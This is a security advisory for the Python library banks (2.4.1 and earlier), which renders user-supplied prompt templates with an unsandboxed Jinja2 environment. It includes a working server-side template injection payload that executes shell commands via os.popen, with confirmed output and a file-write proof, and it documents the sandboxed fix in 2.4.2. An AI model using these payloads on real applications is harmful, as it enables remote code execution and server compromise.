PYSEC-2026-2390

## Summary

`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.

## Vulnerable Code

`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:

```python env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... ) ```

## Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:

```python # User-controlled input reaches Prompt() user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host ```

## Proof of Concept

**Setup:** ```bash pip install banks==2.4.1 ```

**PoC script:** ```python from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ```

**Confirmed output:** ``` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:** ```python from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text() ``` ```bash ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec ```

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.

## Resources - Fix: https://github.com/masci/banks/pull/74 - CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5) - CVE-2025-25362 (spacy-llm — identical root cause) - CWE-1336: Improper Neutralization of Special Elements in a Template Engine